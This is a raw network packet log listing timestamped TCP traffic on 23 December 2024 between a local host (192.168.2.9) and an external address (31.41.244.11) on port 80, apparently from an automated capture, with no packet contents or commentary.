Dec 23, 2024 17:16:55.722546101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722548962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722579956 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722585917 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722585917 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722593069 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722605944 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722619057 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722620010 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722620010 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722630978 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722644091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722645998 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722665071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722681046 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722692013 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722693920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722697020 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722697020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722697020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722697020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722703934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.722762108 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.722762108 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723367929 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723412991 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723439932 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723452091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723464966 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723476887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723479033 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723488092 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723495960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723510981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723520994 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723524094 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723537922 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723552942 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723565102 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723567963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723567963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723579884 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.723599911 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.723628998 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724057913 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724072933 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724085093 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724097013 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724113941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724117994 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724129915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724154949 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724159002 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724159002 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724165916 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724179029 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724186897 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724194050 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724215031 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724215984 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724230051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724234104 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724241972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724252939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724261999 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724261999 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724267006 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724280119 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724292994 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724306107 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.724307060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724307060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724325895 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724360943 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.724998951 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725023031 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725034952 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725056887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725064993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725064993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725070953 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725078106 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725084066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725096941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725111008 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725127935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725127935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725159883 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725236893 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725250959 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725261927 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725275040 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725287914 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725297928 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725310087 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725313902 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725323915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725346088 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725347996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725362062 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725372076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.725378036 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725378036 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725404024 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725430965 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.725930929 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726030111 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726095915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726109982 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726123095 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726140022 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726152897 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726157904 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726167917 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726181984 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726187944 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726196051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726197958 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726208925 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726213932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726222992 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726237059 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726260900 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726260900 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726315022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726571083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726593018 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726613045 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726612091 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726629972 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726659060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726780891 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726794004 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726804972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726813078 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726824999 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726831913 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726836920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726851940 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726865053 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726865053 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726881981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726890087 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726903915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.726910114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726910114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726933956 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.726962090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.966919899 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.966975927 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.967015982 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.967015982 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.967364073 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.967400074 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.967421055 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.967463970 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.968550920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.968566895 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.968596935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.968621016 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.968949080 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.969058037 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.969077110 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.969158888 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.969949007 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.969964027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.970000029 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.970019102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.970577002 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.970689058 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.970699072 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.970779896 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.971848011 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.971863031 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.971940994 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.972387075 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.972398996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.972457886 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.972457886 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.973227978 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.973242044 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.973279953 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.973304987 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.973927021 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.973963976 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.974142075 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.974209070 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.974697113 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.974756956 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.974786997 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.974844933 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.975728035 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.975781918 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.975812912 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.975878954 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.976615906 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.976665974 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.976706982 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.976841927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.977266073 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.977318048 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.977334976 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.977452993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.977986097 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.978037119 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.978065968 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.978075981 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.978737116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.978791952 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.978795052 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.978893995 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.979672909 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.979749918 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.979760885 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.979793072 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.980392933 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.980463982 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.980498075 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.980540991 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.981301069 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.981353045 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.981406927 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.981477022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.982016087 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.982073069 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.982091904 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.982125044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.982835054 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.982897043 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.982903957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.982959032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.983599901 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.983652115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.983707905 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.983750105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.984488010 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.984559059 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.984596014 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.984596014 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.985272884 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.985323906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.985388041 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.985456944 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.986112118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.986226082 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.986310005 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.986354113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.986867905 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.986920118 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.987059116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.987102032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.987728119 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.987804890 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.987845898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.987845898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.988603115 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.988701105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.988773108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.988822937 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.989351988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.989404917 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.989419937 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.989478111 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.990153074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.990238905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.990271091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.990334988 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.991005898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.991066933 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.991076946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.991121054 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.991789103 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.991831064 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.991959095 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.992002010 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.992651939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.992721081 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.992731094 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.992778063 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.993429899 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.993536949 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.993560076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.993660927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.994539022 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.994590998 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.994612932 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.994654894 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.995162010 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.995209932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.995414019 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.995477915 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.995840073 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.995908976 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.995965958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.996021032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.996875048 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.996898890 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.996917963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.996939898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.997608900 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.997684002 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.997694969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.997773886 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.998342037 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.998395920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.998395920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.998461008 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.999120951 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.999217033 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.999221087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.999279022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.999965906 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.000015974 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.000082016 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.000134945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.000761032 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.000869036 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.000901937 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.000977993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.001594067 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.001682997 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.001725912 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.001725912 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.002407074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.002476931 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.002510071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.002552986 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.003266096 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.003288984 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.003336906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.003336906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.004053116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.004169941 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.004194975 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.004244089 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.004961014 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.005039930 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.005109072 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.005148888 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.005832911 CET	80	49733	31.41.244.11	192.168.2.9
